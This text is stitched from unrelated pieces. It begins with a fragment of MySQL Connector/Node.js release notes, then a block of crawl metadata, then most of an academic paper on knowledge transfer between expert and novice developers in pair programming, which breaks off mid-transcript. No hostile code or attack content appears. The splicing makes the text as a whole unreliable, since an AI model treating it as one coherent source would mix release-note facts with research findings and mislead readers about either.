`View DDL` support. Changes in MySQL Connector/Node.js 1.0.3 (2016-06-21, Development Milestone) Bugs Fixed • Connector/Node.JS was unable to create a session when SSL was enabled. (Bug #23118665) Changes in MySQL Connector/Node.js 1.0.2 (2016-04-11, Development Milestone) MySQL Connector/Node.js is a new Node.js driver for use with the X DevAPI. This release, v1.0.2 M1, is the first development release of the MySQL Connector/Node.js 1.0 series. The X DevAPI enables application developers to write code that combines the strengths of the relational and document models using a modern, NoSQL-like syntax that does not assume previous experience writing traditional SQL. To learn more about how to write applications using the X DevAPI, see X DevAPI User Guide. For more information about how X DevAPI is implemented in MySQL Connector/Node.js, and its usage, see https://dev.mysql.com/doc/dev/connector-nodejs/. Please note that the X DevAPI requires at least MySQL Server version 5.7.12 or higher with the X Plugin enabled. For general documentation about how to get started using MySQL as a document database, see Using MySQL as a Document Store. Functionality Added or Changed - Internal bug fixes, and released as the first developmental milestone preview release. Changes in MySQL Connector/Node.js 1.0.1 (Not released, Internal) Version 1.0.1 has no release notes, or they have not been published because the product version has not been released. Changes in MySQL Connector/Node.js 1.0.0 (Not released, Internal) Version 1.0.0 has no release notes, or they have not been published because the product version has not been released.
{"Source-Url": "https://downloads.mysql.com/docs/connector-nodejs-relnotes-en.a4.pdf", "len_cl100k_base": 11873, "olmocr-version": "0.1.53", "pdf-total-pages": 20, "total-fallback-pages": 0, "total-input-tokens": 44988, "total-output-tokens": 13874, "length": "2e13", "weborganizer": {"__label__adult": 0.000270843505859375, "__label__art_design": 0.00019943714141845703, "__label__crime_law": 0.00017511844635009766, "__label__education_jobs": 0.00032401084899902344, "__label__entertainment": 5.346536636352539e-05, "__label__fashion_beauty": 8.422136306762695e-05, "__label__finance_business": 0.0001747608184814453, "__label__food_dining": 0.00019872188568115232, "__label__games": 0.0005469322204589844, "__label__hardware": 0.00039005279541015625, "__label__health": 0.00012254714965820312, "__label__history": 0.00013625621795654297, "__label__home_hobbies": 3.933906555175781e-05, "__label__industrial": 0.0001342296600341797, "__label__literature": 0.00014770030975341797, "__label__politics": 0.0001138448715209961, "__label__religion": 0.0001823902130126953, "__label__science_tech": 0.0015716552734375, "__label__social_life": 4.762411117553711e-05, "__label__software": 0.015167236328125, "__label__software_dev": 0.9794921875, "__label__sports_fitness": 0.00017249584197998047, "__label__transportation": 0.00016236305236816406, "__label__travel": 0.00014221668243408203}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 52046, 0.03364]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 52046, 0.31945]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 52046, 0.79652]], "google_gemma-3-12b-it_contains_pii": [[0, 3890, false], [3890, 8284, null], [8284, 10115, null], [10115, 13171, null], [13171, 15714, null], [15714, 18853, null], [18853, 22142, null], [22142, 24742, null], [24742, 27490, null], [27490, 30326, null], [30326, 32857, null], [32857, 35555, null], [35555, 38230, null], [38230, 41321, null], [41321, 43495, null], [43495, 46400, null], [46400, 48981, null], [48981, 50845, null], [50845, 52046, null], [52046, 52046, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3890, true], [3890, 8284, null], [8284, 10115, null], [10115, 13171, null], [13171, 15714, null], [15714, 18853, null], [18853, 22142, null], [22142, 24742, null], [24742, 27490, null], [27490, 30326, null], [30326, 32857, null], [32857, 35555, null], [35555, 38230, null], [38230, 41321, null], [41321, 43495, null], [43495, 46400, null], [46400, 48981, null], [48981, 50845, null], [50845, 52046, null], [52046, 52046, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 52046, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 52046, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 52046, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 52046, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 52046, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 52046, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 52046, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 52046, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 52046, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 52046, null]], "pdf_page_numbers": [[0, 3890, 1], [3890, 8284, 2], [8284, 10115, 3], [10115, 13171, 4], [13171, 15714, 5], [15714, 18853, 6], [18853, 22142, 7], [22142, 24742, 8], [24742, 27490, 9], [27490, 30326, 10], [30326, 32857, 11], [32857, 35555, 12], [35555, 38230, 13], [38230, 41321, 14], [41321, 43495, 15], [43495, 46400, 16], [46400, 48981, 17], [48981, 50845, 18], [50845, 52046, 19], [52046, 52046, 20]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 52046, 0.0]]}
olmocr_science_pdfs
2024-12-08
2024-12-08
55745aa3190f48032f86783cb5215568afbf9a6d
Knowledge transfer in pair programming: an in-depth analysis How to cite: Link(s) to article on publisher’s website: http://dx.doi.org/doi:10.1016/j.ijhcs.2014.09.001 © 2014 Elsevier Ltd Version: Accepted Manuscript Copyright and Moral Rights for the articles on this site are retained by the individual authors and/or other copyright owners. For more information on Open Research Online’s data policy on reuse of materials please consult the policies page. oro.open.ac.uk Knowledge Transfer in Pair Programming: An In-depth Analysis Laura Plonka, Helen Sharp, Janet van der Linden, Centre for Research in Computing The Open University Milton Keynes, UK (Laura.Plonka; Helen.Sharp; Janet.VanderLinden@open.ac.uk) Yvonne Dittrich Software Development Group IT University of Copenhagen Copenhagen, Denmark (ydi@itu.dk) Abstract Whilst knowledge transfer is one of the most widely-claimed benefits of pair programming, little is known about how knowledge transfer is achieved in this setting. This is particularly pertinent for novice–expert constellations, but knowledge transfer takes place to some degree in all constellations. We ask “what does it take to be a good “expert” and how can a “novice” best learn from a more experienced developer?”. An in-depth investigation of video and audio excerpts of professional pair programming sessions using Interaction Analysis reveals: six teaching strategies, ranging from “giving direct instructions” to “subtle hints”; and challenges and benefits for both partners. These strategies are instantiations of some but not all teaching methods promoted in cognitive apprenticeship; novice articulation, reflection and exploration are not seen in the data. The context of pair programming influences the strategies, challenges and benefits, in particular the roles of driver and navigator and agile prioritisation which considers business value rather than educational progression. Utilising these strategies more widely and recognizing the challenges and benefits for both partners will help developers to maximise the benefits from pairing sessions. 1 Introduction “Two heads are better than one” is a common idiom referring to the advantages of collaborative work. The value of collaboration is explicitly encouraged in software development through a practice known as pair programming. Pair programming (PP) is a software development technique where two developers work closely together to solve a development problem [41, 1]. Several benefits of PP have been claimed including improved understandability and maintainability of code and design [35, 37], decreased defect rates [24, 18, 23, 10, 25] and knowledge transfer [21, 20, 23, 32, 34, 35, 36, 38, 40]. This paper focuses on knowledge transfer in PP. Indeed, Salinger et al [31] have identified PP roles other than driver and navigator, including one called task expert which brings in task expertise relevant to the session. This acknowledges the fact that all sessions include some level of knowledge transfer. Most software development teams are composed of developers with different knowledge levels of some kind, including different programming experience, different domain expertise and knowledge about different technologies. PP is one way to share their knowledge with other team members while also achieving meaningful work. In some cases, knowledge transfer is the explicit goal of a PP session [29]. This is common when a more experienced developer teaches a less experienced developer, for example, to bring new staff up to speed [3, 42]. However, given that developers never have identical knowledge, a certain degree of knowledge transfer would be expected within every PP constellation. Pairing with someone who has a different knowledge level can be problematic [2, 7] and developers tend to interact differently in this situation in comparison to pairing with other developers with similar knowledge levels [9, 7]. For example, Plonka et al. [29] showed that less knowledgeable developers (novices) can disengage in PP sessions and can sometimes not follow their more knowledgeable partner (expert). Although knowledge transfer is widely reported as a benefit of PP, there is currently not much insight into how developers approach this in practice nor how knowledge transfer can be improved. What does it take to be a good “expert” and how to learn best as a “novice”? What are the challenges? Here, we present an in-depth investigation of knowledge transfer in professional PP sessions to address the following research questions: - **RQ1:** What teaching strategies do developers use in pair programming? - **RQ2:** In which ways do the roles of driver and navigator influence knowledge transfer in pair programming? - **RQ3:** What challenges do developers with different knowledge levels face when pairing together? These three questions are addressed through a qualitative analysis (using Interaction Analysis [19]) of video recordings of professional developers working together on their day to day tasks. As a result, we identified a set of teaching strategies and behaviours that are related to the roles of driver and navigator and influence teaching and learning, together with associated challenges and benefits for both pairing partners. An increased awareness of working practices for knowledge transfer in PP will help developers to maximise the benefits from such sessions. The remainder of the paper is organized as follows. Section 2 overviews existing research on knowledge transfer in PP. In section 3, we present the research methodology including data collection and analysis approach, followed by the findings of this study (section 4). In section 5, the findings are discussed with respect to existing literature and section 6 discusses the limitations of the study. The last section 7 presents conclusions and implications for developers. ## 2 Knowledge Transfer in Pair Programming The positive effect of PP on knowledge transfer, no matter what may be the knowledge levels of the developers, is widely acknowledged across a range of studies in industry [21, 20], [38, 35, 23] and academia [32, 36, 34, 40]. Knowledge transfer is also one of the main perceived benefits according to two surveys: Schindler [33] surveyed developers and managers in 42 Austrian companies; and Begel and Nagappan [2] conducted a web-based survey of 487 Microsoft developers. Three industrial case studies [21, 35, 38] report more detail on developers’ perceptions. In [21], developers report that PP increased their knowledge of the code and in [35], developers report increased knowledge of the software system. Gaining knowledge about development tools, work practices, refactoring old code, new technologies and programming languages are all perceived benefits reported in [38]. Belshee [3] suggested very frequent changes of the pair constellation to promote fast knowledge transfer and to spread knowledge among different team members. Pandey et al. [23], suggests that this can reduce project risk because multiple developers are familiar with the code and there is less reliance on one individual. Increased flexibility also means that developers can pick up a variety of different tasks. For example, Hodgetts [17] reports on one team that had only one database expert, but too much work for one expert. When this caused a bottleneck, the team decided to use PP to spread the database knowledge among developers. They learned quickly through pairing with the database expert and were then able to do database tasks by themselves. PP has also been studied in the context of training and mentoring, but not always with a positive effect. For example, in the context of developing firmware for processors, Greene [16] found that the training effect of PP was not as high as expected, which may be due to the very specialized and complex domain knowledge needed in that context. On the other hand, Williams et al. [42] investigated PP for mentoring and hence focused on pair constellations with different levels of expertise. They examined the relationship between PP and Brooks’ Law\(^1\) based on a survey and a case study. They found that PP reduced the mentoring needed per day from 37% of a developer’s time to 26% of their time, and that PP reduced the time for a developer to be independently productive from 27 to 12 days. \(^1\) Brooks Law says that “adding manpower to a late software project makes it later” [6] The developers’ view of combining different knowledge levels when pairing was investigated by Jensen [18] and Vanhanen et al. [38, 37]. Jensen [18] found that pairing developers with similar expertise was counter-productive, while Vanhanen and Lassanius [37] found two good partner combinations: when the pair consists of a senior and a junior developer; or partners have complementary knowledge. When asked about the challenges of PP, developers surveyed by Begel and Nagappan [2] perceived working with someone with different skills as one of the main challenges. Williams and Kessler [41] also point out that pairing experts and novices can be problematic. Novices can slow down experts and some experts might not have a mentoring attitude. One study by Cao and Xu [7] examined the interactions of pairs in more detail according to their expertise. They assigned students according to expertise and found that the expert asked for the novices’ opinions frequently at the beginning of the session but stopped asking after realising that they did not get valuable information. Although there is some evidence that pairing developers with different knowledge is useful but challenging, there is currently a lack of understanding about what interactions take place to achieve knowledge transfer and what challenges developers face. 3 Research Design It is known that people working jointly on a computer use a combination of gesture, language and screen object manipulation to construct an understanding of the problem (see [30] for example). In PP developers work closely together on one computer and all these aspects needs to be considered when analysing knowledge transfer between the developers. For this study, we chose a data gathering approach that captures rich data about the PP sessions and an analysis approach that allows for a detailed investigation of how human beings interact with each other, and with objects in their environment (both verbally and non-verbally) [19]. 3.1 Data gathering Different aspects of the PP session were captured by using a combination of data gathering methods: - Audio and video recordings were used to record the developers’ interactions during their PP sessions: audio recordings of all verbal communication; a video of the programmers; and a full-resolution recording of the screen, showing the code and capturing the developers’ computer activities. These were fully synchronized into a single video file (see figure 1). - Questionnaires were used to gather background information about the developers, the aim of the session, and their experience in programming and PP. - Interviews were conducted with both developers one day after the session to capture the developers’ account of their session. Table 1: Companies’ and developers’ background <table> <thead> <tr> <th>Industry</th> <th>Company size</th> <th>Team size</th> <th>Programming experience</th> <th>PP experience</th> </tr> </thead> <tbody> <tr> <td>Geographic information systems</td> <td>30-50</td> <td>8</td> <td>0.9-20 years</td> <td>0-20 years</td> </tr> <tr> <td>Traffic, logistic and transport</td> <td>&lt;500</td> <td>2 teams, 5 developers each</td> <td>0.4-13 years</td> <td>0-3 years</td> </tr> <tr> <td>Email marketing</td> <td>50-100</td> <td>8</td> <td>1.3-10 years</td> <td>0-5 years</td> </tr> <tr> <td>Estate CRM Software</td> <td>50-100</td> <td>10</td> <td>1.5-12 years</td> <td>0-3.6 years</td> </tr> </tbody> </table> We recorded PP sessions from four different companies. All companies used agile approaches and all companies belonged to different industries. None of the companies provided developers with PP training. Table 1 provides background about the companies and the developers. During our studies, the developers worked on their day-to-day tasks in their usual working environment. There was no set pattern for pairing. Developers decided themselves when it was appropriate to pair, and with whom. See figure 1 for an example of a recording set-up in one of the participating companies. 3.2 Analysis To analyze the data we used Interaction Analysis [19] which focuses on social interactions (verbal and non-verbal) as they take place in their natural settings through analysing everyday interactions. Video data supports Interaction Analysis because it captures the minutiae of interactions. Moreover, video data allows sequences of interactions to be replayed which is crucial for re-examining and understanding what happens in the session. Figure 1: Left: Screenshot of a fully synchronized video showing Eclipse IDE and the developers. Right: Recording setup in one of the companies. Jordan and Henderson [19] originally published their description of Interaction Analysis in the context of learning sciences. In recent years Interaction Analysis has been used in software engineering research. For example, Børte et al. [5] successfully used Interaction Analysis to study software effort estimation by investigating different types of knowledge, reasoning and decision-making in group based estimation sessions, while Dittrich and Giuffrida [15] used the method to investigate the role of instant messaging in a global software development project. Our analysis is based on the core procedures of Interaction Analysis but was tailored to the context of this study. The following summarises the six core procedures and how they were tailored, see [26] for details. 1. **Procedure: Ethnographic context** In order to provide context for the video data, Interaction Analysis suggests to capture the ethnographic context in which the recordings take place. For the data gathering of this study, the main researcher spent time at the organisations and in addition to the video data three other types of data (questionnaires, interviews, and field notes) were gathered during that stay. 2. **Procedure: Content logs** The intention of this procedure is to obtain an overview of the data through an initial viewing and annotation to create content logs. In this study, the video data was annotated through previous analyses [29, 27] and these annotations were used as content logs for this study. 3. **Procedure: Individual researcher’s work** In this study, this procedure was divided into two separate steps. Firstly, the researcher extracted exemplar excerpts of the data (this process is referred to as “cannibalising” [19, p. 46]). An excerpt is regarded as an “exemplar” if it is a typical or representative example of the data being studied. Secondly, after the group work procedure (described below) the researcher reviewed the group viewing notes and analysed the interview data. 4. **Procedure: Transcription** The video data to be analysed is transcribed. This procedure was followed in this study and is described below in the second step of our analysis. 5. **Procedure: Group work** Group work is fundamental to Interaction Analysis. Group members discuss observations and hypotheses, searching for “distinguishing practices” and “identifiable regularities” in the interactions. In this study, this procedure was used in a slightly adapted form which is described in section 3.2.1. 6. **Procedure: Video review sessions** In this procedure the video segments are played back to the participants. The intention of this step is to include the participants’ perspective for the analysis to gather further insights. This procedure was not practical in the context of this study and was replaced by analysing the interviews that were conducted after the sessions and which provide the developers’ perspectives on their PP sessions. ### 3.2.1 Analysis steps In the following sections the specific analysis steps in the order in which they were conducted are described. **Step 1: Sampling of relevant video exemplars** Interaction analysis is a very detailed and time-consuming analysis procedure which means that sampling of the relevant video exemplars is a crucial step. A detailed analysis of a 3-5 minute exemplar can take about 2 hours. At the start of this analysis, we had about 37 hours of video recordings of 21 PP sessions with 31 developers from four different companies. Each session lasted between one and a half and three and a half hours. In previous studies [29, 27] we had analysed the full 37 hours using different analysis methods. Hence, we had excellent knowledge of the data before the Interaction Analysis started. This allowed us to effectively identify exemplars that exhibit typical situations in which knowledge transfer between developers takes place. Five suitable exemplars were identified, each between 4 and 6 minutes in length, that together represented the set of typical situations in the data. The following criteria guided our selection. - **Developers with different levels of knowledge are aiming to transfer knowledge.** Developers never have exactly the same knowledge, and so it can be assumed that knowledge transfer takes place in every PP session. However, in PP sessions where developers have similar levels of expertise, knowledge transfer and the strategies used to achieve it might be difficult to identify. In contrast, where pair constellations have an explicit aim to transfer knowledge from one developer to another, knowledge transfer and associated strategies can be observed more easily and explicitly. Moreover, in these sessions it is clear who is teaching whom. Hence, we used the background questionnaires and the interviews with the developers to identify sessions in which a more knowledgeable developer (expert) worked with a less knowledgeable developer (novice). In the context of this study, the definition of an expert and a novice is based on the developers’ perceptions of their knowledge for a particular pair programming session. We chose excerpts from PP sessions for which developers explicitly stated that the aim of the session was to transfer knowledge from the more knowledgeable developer (expert) to the less knowledgeable developer (novice) for the topic covered in this session. In addition we only chose sessions in which both developers agreed who is the expert and who is the novice in this particular session. - **Experts are trying to teach novices.** To address RQ1 excerpts were selected in which experts tried to teach the novices rather than excerpts in which no communication, explanations or verbalisations took place. - **Both expert and novice are driving within the excerpt.** To answer RQ2 some excerpts were chosen in which the novice was driving and some in which the expert was driving or where the developers switched roles. - **Behaviour is not unique to one pair constellation.** Although we only selected a small number of exemplars to conduct the in-depth interaction analysis the first author watched all video recordings to ensure that the selected excerpts represent behaviours observed in multiple pair constellations. **Step 2: Transcription** The conversations of the developers together with timestamps and pauses were transcribed. Short pauses in the communication are marked as […] and for longer pauses the number of seconds [sec] is provided in the transcriptions. The collaborator companies were based in Germany and all audio data was in German. The transcription was based on the original data. The main researcher who conducted the data gathering is a native German speaker and the other researchers have different language skills (see table 2). **Step 3: Group viewing** The video excerpts were analysed collaboratively during group viewing sessions. The group size varied between two and five members. In each group viewing session at least one German and one non-German speaker were present. Table 2 provides an overview of the members of the group, their language skills and their relevant experience. Each group member had a different background. This strengthened the analysis as each member provided a different perspective on the data. For example, the different language skills of the group members influenced the initial focus when watching the excerpts; usually, the non-German speakers focused first on the non-verbal communication and on the computer activities of the developers while the German-speaking members focused on the conversation first. To allow every member to understand the full picture of the events the transcripts were translated during the group viewing session. For each video excerpt (4-6 min) the group session took approximately 2 hours in order to accommodate intense discussions. During the whole group viewing session the first author took detailed notes of the discussion. The group viewing session had the following activities (steps 3 and 4 were iterated): 1. *Watching the whole video excerpt* The group watched the excerpt from the beginning to the end without stopping. The group was not provided with the context of the excerpt before watching it, in order to counter researcher bias. 2. *Discussing initial observations* Each team member shared their initial observations with the group, drawing on their specific expertise. 3. *Providing context for the segment* After the initial discussion, the group members were told the context of the excerpt: who is the expert and who is the novice; is this excerpt from a beginning, middle or end of a session; and what developers reported in the interviews about their knowledge transfer experience. 4. **Stop-and-go watching of the video excerpt** The excerpt was watched again but this time, team members stopped the video to discuss different dimensions of the interaction in detail. During this, certain events or the whole excerpt were re-played several times. 5. **Finding themes** The results of group viewing sessions were brought together and the emerging themes were discussed. Table 2: Members of the interaction analysis group <table> <thead> <tr> <th>Research experience</th> <th>Relevant languages</th> <th>Relevant experience</th> </tr> </thead> <tbody> <tr> <td>Experienced researcher</td> <td>English</td> <td>Empirical software engineering, qualitative research, research on agile methods</td> </tr> <tr> <td>Experienced researcher</td> <td>German (intermediate), English</td> <td>Empirical research, qualitative research, gesture analysis, advanced programming</td> </tr> <tr> <td>Experienced researcher</td> <td>German, English</td> <td>Empirical research on cooperative and human aspects of software engineering, interaction analysis</td> </tr> <tr> <td>PhD student</td> <td>English</td> <td>Empirical research, qualitative research</td> </tr> <tr> <td>PhD student</td> <td>German, English</td> <td>Empirical research, qualitative research, pair programming research</td> </tr> </tbody> </table> The analysis was exploratory and did not follow a pre-defined coding scheme. During the group viewing, observations were not restricted to the research objectives because a restriction early on in the analysis process might lead to important aspects being overlooked. Once the group decided that all relevant observations were discussed, the group viewing session was over and the next group session focused on a new excerpt. Step 4: Analysis of group viewing notes and interview data The themes that emerged during the group viewing were reviewed with respect to the research questions. The first author reviewed the extensive notes from the group session and revisited the data for each theme for validation. The results of this procedure were discussed with other group members. In addition, the interviews from the three selected PP sessions were analysed focusing on developers’ statements related to their experience of knowledge transfer within their sessions. The findings from the interviews were then used to contextualise the findings from the group viewing session. 4 Findings This section presents the findings focusing on the teaching strategies used by developers (RQ1) the roles of driver and navigator (RQ2) and the challenges when pairing developers with different knowledge levels (RQ3). Our findings are illustrated through examples from the selected transcriptions and descriptions of what developers were doing. The analysis highlighted that experts use a combination of different strategies to teach novices and that each expert uses a variety of strategies even within the same pair programming session. 4.1 What teaching strategies do developers use when a novice is driving? We identified four different strategies that experts use when the novice is driving; Verbal nudging and physical hints, pointing out problems, gradually adding information, and giving clear instructions. 4.1.1 Verbal nudging and physical hints Verbal nudging and physical hints are teaching strategies that provide directions without providing the solutions for the novice. For example, using verbal nudging an expert will make suggestions rather than explicitly tell the novice what to do. Other subtle guidance can include physical hints such as pointing to something on the screen or placing the cursor in a particular location. These different types of behaviours are illustrated in Example 1 and Example 2. In Example 1, the novice is driving and has just finished writing a line of code that checks an entry in a list. The novice suggests that they can now move on (line 1) but the expert proposes (using the word “could” in line 2) that they should test this code first. The novice agrees without any resistance and instead of moving on, the novice starts testing the code. **Example 1 Nudging** <table> <thead> <tr> <th>Line</th> <th>Speaker</th> <th>Talk</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>Novice:</td> <td>“Ok, so this is done now, so we can move on to the next bit.”</td> </tr> <tr> <td>2</td> <td>Expert:</td> <td>“We could also test that first.”</td> </tr> <tr> <td>3</td> <td>Novice:</td> <td>“Yes, ok.”</td> </tr> </tbody> </table> In Example 2, the expert places the cursor in a certain position before handing the keyboard over to the novice. Later in the excerpt, it becomes apparent that this is the point in the code where the problem should be addressed. The fact that the expert switched to this test class after finishing his explanations and while preparing the handover, indicates his intention to provide a hint for the novice. **Example 2 Indirect hint: Preparing the environment** The expert is driving and explains a problem to the novice. The expert opens different Java classes and test files to illustrate his explanations. He finishes his explanations by pointing something out in a Java class. Afterwards he says with a smile on his face: “OK, so now it is time to switch driver.” While saying this, he switches from the Java class to a test class, looks for a specific location in this test class and moves the cursor there before he hands the keyboard to the novice. The excerpts illustrate that verbal nudging and physical hints are used by experts to provide a learning opportunity for the novice. In Example 1, the expert uses a gentle form of verbal nudging which is immediately picked up by the novice. Without telling the novice how exactly to solve the problem, the expert provides successful directions. Following the excerpt in Example 1, the novice starts writing a test. In addition to verbal hints, we also observed indirect non-verbal hints where an expert physically moves the cursor around the programming environment to nudge the novice towards the right place. Example 2 illustrates such a situation in which the expert sets up the environment for the novice before handing over the keyboard to provide the novice with a starting point. These subtle strategies were observed in pairs where the expert seemed to be patient and the novice had some initial knowledge of the task at hand. 4.1.2 Pointing out problems Experts point out problems for novices without suggesting how the problem should be solved. This is illustrated in Example 3. **Example 3 Pointing out a problem** <table> <thead> <tr> <th>Line</th> <th>Speaker</th> <th>Talk</th> </tr> </thead> <tbody> <tr> <td></td> <td>The novice has just finished writing some code.</td> <td></td> </tr> <tr> <td>1</td> <td>Expert:</td> <td>“I see at least three mistakes.”</td> </tr> <tr> <td>2</td> <td>Novice:</td> <td>“You see three mistakes?”</td> </tr> <tr> <td>3</td> <td>Expert:</td> <td>“I see three mistakes.”</td> </tr> <tr> <td>4</td> <td>Novice:</td> <td>“OK.”</td> </tr> <tr> <td>5</td> <td>Expert:</td> <td>“Twice <code>statement.close</code> and one uninitialized member variable.”</td> </tr> <tr> <td>6</td> <td>Novice:</td> <td>“Yes.”</td> </tr> </tbody> </table> This is followed by the novice suggesting how to address the problems. In Example 3, the novice has finished writing some code. The expert points out that there are at least three mistakes in it without explicitly explaining how to address them. The expert thus gives the novice the space to think about how to solve the problem without simply solving it for him and the novice starts suggesting how to address the problems. In comparison to verbal nudging and physical hints, in the example above the novice receives no direction on what to do next. This strategy prompts the novice to suggest how to address the problems, giving the novice the opportunity to think the problems through by herself/himself. We observed that this strategy can be time-consuming because it might take the novice some time to identify solutions to the problem. In cases where this strategy does not work, we observed that experts use a follow-up strategy (gradually adding information). This strategy is presented next and is also used independent of the pointing out problems strategy. 4.1.3 Gradually adding information Gradually adding information means that the expert supports the novice in finding a solution for a problem on an “as needed” basis. Instead of suggesting how to solve an issue experts wait and see whether novices are capable of solving a problem by themselves with a certain amount of information given. If the novice is not capable of solving the task, the expert gradually adds more information in order to help the novice (as illustrated in Examples 4 and 5). Example 4 Gradually adding information (1) and Giving clear instructions <table> <thead> <tr> <th>Line</th> <th>Speaker</th> <th>Talk</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>Novice:</td> <td>“We would maybe need a constructor here, wouldn’t we?”</td> </tr> <tr> <td>2</td> <td>Expert:</td> <td>“Right. That would be good.”</td> </tr> <tr> <td>Line</td> <td>Speaker</td> <td>Talk</td> </tr> <tr> <td>------</td> <td>---------</td> <td>------</td> </tr> <tr> <td>3</td> <td>Novice:</td> <td>No communication, no typing [3sec].</td> </tr> <tr> <td>4</td> <td>Expert:</td> <td>“At the top.”</td> </tr> <tr> <td></td> <td></td> <td>Novice is moving the cursor to the top of the class.</td> </tr> <tr> <td>5</td> <td>Expert:</td> <td>“ALT-N.”</td> </tr> <tr> <td></td> <td></td> <td>Novice presses ALT-N.</td> </tr> </tbody> </table> **Example 5** Gradually adding information (2) <table> <thead> <tr> <th>Line</th> <th>Speaker</th> <th>Talk</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>Novice:</td> <td>“Ok, technically, we’d have to call a […] job instead of calling a PreSQLStatements.”</td> </tr> <tr> <td></td> <td></td> <td>No communication/no driving [3sec].</td> </tr> <tr> <td>2</td> <td>Expert:</td> <td>“In our case, we’d call a […] job instead now. Right.”</td> </tr> <tr> <td>3</td> <td>Novice:</td> <td>“Right. Ok, that means we somehow build us a class now that then just gets the job and executes it.”</td> </tr> <tr> <td>4</td> <td>Expert:</td> <td>“Eventually, that would be the implementation. Yes.”</td> </tr> <tr> <td>5</td> <td>Novice:</td> <td>“Good.”</td> </tr> <tr> <td></td> <td></td> <td>No communication/no driving [2sec]</td> </tr> <tr> <td>6</td> <td>Expert:</td> <td>“We just have to tell the SQL FilterStatement somehow […] that it executes it at the right time.”</td> </tr> <tr> <td></td> <td></td> <td>No communication/no driving [3sec]</td> </tr> <tr> <td>7</td> <td>Expert:</td> <td>“Instead of using PreSQLStatement; […] use PreSQL or PreListener or PostListener or all in one. I don’t know.”</td> </tr> <tr> <td>8</td> <td>Novice:</td> <td>“Yes. Ok, but we would want to do that then by using the Config-class.”</td> </tr> <tr> <td></td> <td></td> <td>Novice puts his hands on the keyboard and starts typing.</td> </tr> </tbody> </table> In Example 4, the novice is driving and suggests creating a constructor. He phrases this suggestion as a question (line 1). The expert confirms that the novice’s suggestion is right without adding more information (line 2). The novice hesitates to start typing. After a short pause, the expert gives the novice additional instructions by telling him that the constructor should be written at the top of the class and that he should use the shortcut “ALT-N” to do that. This can be interpreted as the expert waiting to see whether the novice can create the constructor without more information and only giving instructions when the novice hesitates. Example 5 presents a second example of this strategy. Just before the start of this excerpt, the expert had explained the code and the problem and then made it verbally explicit that it’s the novice’s turn to drive. The novice does not immediately take the keyboard or mouse. Instead the novice starts suggesting what to do next (line 1 and 3). In lines 2 and 4, the expert repeats and confirms the novice’s suggestion without adding new information. When it is the novice’s turn to talk and type, the novice hesitates again. The expert starts adding further information about how to solve the problem. After adding new information (line 6) the expert waits. The novice does not react and after another moment of silence the expert starts again to add new information (line 7). This time (line 7) the expert finishes his statement by saying that he does not know what the best approach would be. In line 8, the novice suggests how to address the problem and subsequently takes the keyboard and starts implementing the solution. The expert confirms the novice’s suggestion in line 9. Later on in the session (not provided as a transcript), it becomes clear that the expert knew how to approach that problem, and that the “I don’t know” statement in line 7 was a hint that the novice should solve the problem. Both examples 4 and 5 show an expert not giving all the information to the novice at once but gradually adding more information when necessary. This suggests that the expert wants the novice to actively think about the problem rather than for him to just explain each step immediately. This also means that the problem solving process might take more time in comparison to having the expert telling the novice explicitly how to solve the problem (as described in the next section). 4.1.4 Giving clear instructions Experts also use clear and direct instructions, both with and without additional explanations, to help guide the novices. These instructions include dictating what to type, which shortcuts to use and where the changes have to be made in the code. In some cases, experts explain their instructions thereby providing the novices with the reasoning behind those instructions. In both cases, it was observed that the novice follows the instructions of the expert immediately. Looking back at example 4, this acts as a good example of an expert giving clear instructions when noticing that the novice knows what to do (line 1), but hesitates about how to go about it (line 3). The expert gives the novice clear instruction where to create it (line 4) and how to do it (“ALT-N” in line 5) without providing any additional explanation. A similar example of providing clear instructions on what to do is shown in example 6. However, here we also note the expert providing an explanation on why the code had to be placed elsewhere (line 2). In contrast to the three previous strategies, in this strategy the experts solves the problem for the novice. This strategy doesn’t encourage the novice to solve the problem for himself/herself. This might be less time-consuming but also provides the novice with less opportunity to explore different approaches. However, in some cases this might be the only sensible strategy. For example, there is little value in asking a novice to look up a shortcut rather than telling the novice what the shortcut is. **Example 6** Giving direct instructions with explanations <table> <thead> <tr> <th></th> <th>Novice:</th> <th>“Yes, so then ... we can create a nice method now.”</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>Novice start to create a new method.</td> <td></td> </tr> </tbody> </table> Novice deletes the already written code and creates the new method outside of the inner class. 4.2 What teaching strategies do developers use when expert is driving? Focusing now on strategies where it is the expert who is driving, rather than the novice as in the previous section, we identified two strategies: explanations and verbalisations. It is difficult to differentiate between explaining to oneself (verbalisation) and explaining interactively [14]. In this paper, verbalisation refers to verbalising while performing activities without being asked for it, while explanations are statements triggered by a question or a comment that makes it clear that the other person needs additional information. 4.2.1 Explanations When the novice asks for an explanation, experts can address the question verbally (Example 7) or by showing the novice on the computer how to do certain steps (Example 8). **Example 7** Explanation <table> <thead> <tr> <th>Line</th> <th>Speaker</th> <th>Talk</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>Expert:</td> <td>“So, and now we create some methods and call them test. BasicFilter, isn’t it?”</td> </tr> <tr> <td>2</td> <td>Novice:</td> <td>“Was the style back then so different that, hm […] that err… all tests were in one method?”</td> </tr> <tr> <td>3</td> 